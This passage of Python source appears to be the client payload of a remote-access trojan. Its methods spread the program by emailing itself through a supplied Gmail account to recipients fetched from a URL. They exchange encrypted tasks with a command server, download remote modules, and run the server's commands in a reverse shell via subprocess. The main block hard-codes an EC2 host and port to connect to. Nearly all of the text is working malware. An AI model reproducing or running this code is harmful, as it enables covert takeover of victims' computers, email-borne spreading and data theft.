    @config(platforms=['win32','darwin','linux2'], command=True, usage='spread <gmail> <password>')
    def spread(self, args=None):
        """
        Activate worm-like behavior and begin spreading client via email

        `Required`
        :param str email:       sender Gmail address
        :param str password:    sender Gmail password
        :param str url:         URL of target email list
        """
        if not args or len(str(args.split()) != 3):
            return self.spread.usage
        if 'spreader' not in globals():
            self.load('spreader')
        try:
            attachment = sys.argv[0]
            gmail, password, url = args.split()
            recipients = urllib.urlopen(url).read().splitlines()
            return globals()['spreader'].run(gmail, password, attachment, recipients)
        except Exception as e:
            return '{} error: {}'.format(self.spread.func_name, str(e))

    def send_task(self, task):
        """
        Send task results to the server

        `Task`
        :attr str uid:             task ID assigned by server
        :attr str task:            task assigned by server
        :attr str result:          task result completed by client
        :attr str session:         session ID assigned by server
        :attr datetime issued:     time task was issued by server
        :attr datetime completed:  time task was completed by client

        Returns True if succesfully sent task to server, otherwise False

        """
        try:
            if not 'session' in task:
                task['session'] = self.info.get('uid')
            if self.flags.connection.wait(timeout=1.0):
                data = globals()['encrypt_aes'](json.dumps(task), self.key)
                msg  = struct.pack('!L', len(data)) + data
                self.connection.sendall(msg)
                return True
            return False
        except Exception as e:
            log("{} error: {}".format(self.send_task.func_name, str(e)))

    def recv_task(self):
        """
        Receive and decrypt incoming task from server

        `Task`
        :attr str uid:             task ID assigned by server
        :attr str session:         client ID assigned by server
        :attr str task:            task assigned by server
        :attr str result:          task result completed by client
        :attr datetime issued:     time task was issued by server
        :attr datetime completed:  time task was completed by client

        """
        try:
            hdr_len = struct.calcsize('!L')
            hdr = self.connection.recv(hdr_len)
            msg_len = struct.unpack('!L', hdr)[0]
            msg = self.connection.recv(msg_len)
            data = globals()['decrypt_aes'](msg, self.key)
            return json.loads(data)
        except Exception as e:
            log("{} error: {}".format(self.recv_task.func_name, str(e)))

    def run(self):
        """
        Initialize a reverse TCP shell

        """
        host, port = self.connection.getpeername()
        self._get_resources(target=self.remote['modules'], base_url='http://{}:{}'.format(host, port + 1))
        self._get_resources(target=self.remote['packages'], base_url='http://{}:{}'.format(host, port + 2))
        self.handlers['prompt_handler'] = self._get_prompt_handler()
        self.handlers['thread_handler'] = self._get_thread_handler()
        log(json.dumps(self.remote, indent=2))
        while True:
            if self.flags.connection.wait(timeout=1.0):
                if not self.flags.prompt.is_set():
                    task = self.recv_task()
                    if isinstance(task, dict) and 'task' in task:
                        cmd, _, action = task['task'].encode().partition(' ')
                        try:
                            command = self._get_command(cmd)
                            result = bytes(command(action) if action else command()) if command else bytes().join(subprocess.Popen(task['task'].encode(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())
                        except Exception as e:
                            result = "{} error: {}".format(self.run.func_name, str(e))
                            log(result)
                        task.update({'result': result})
                        self.send_task(task)
                    self.flags.prompt.set()
            else:
                log("Connection timed out")
                break


if __name__ == '__main__':
    _payload = Payload(pastebin='3abc1d0d0e3ba0f70f3f658e79fdfb3f', host='ec2-52-14-134-178.us-east-2.compute.amazonaws.com', port='8000')
    _payload.run()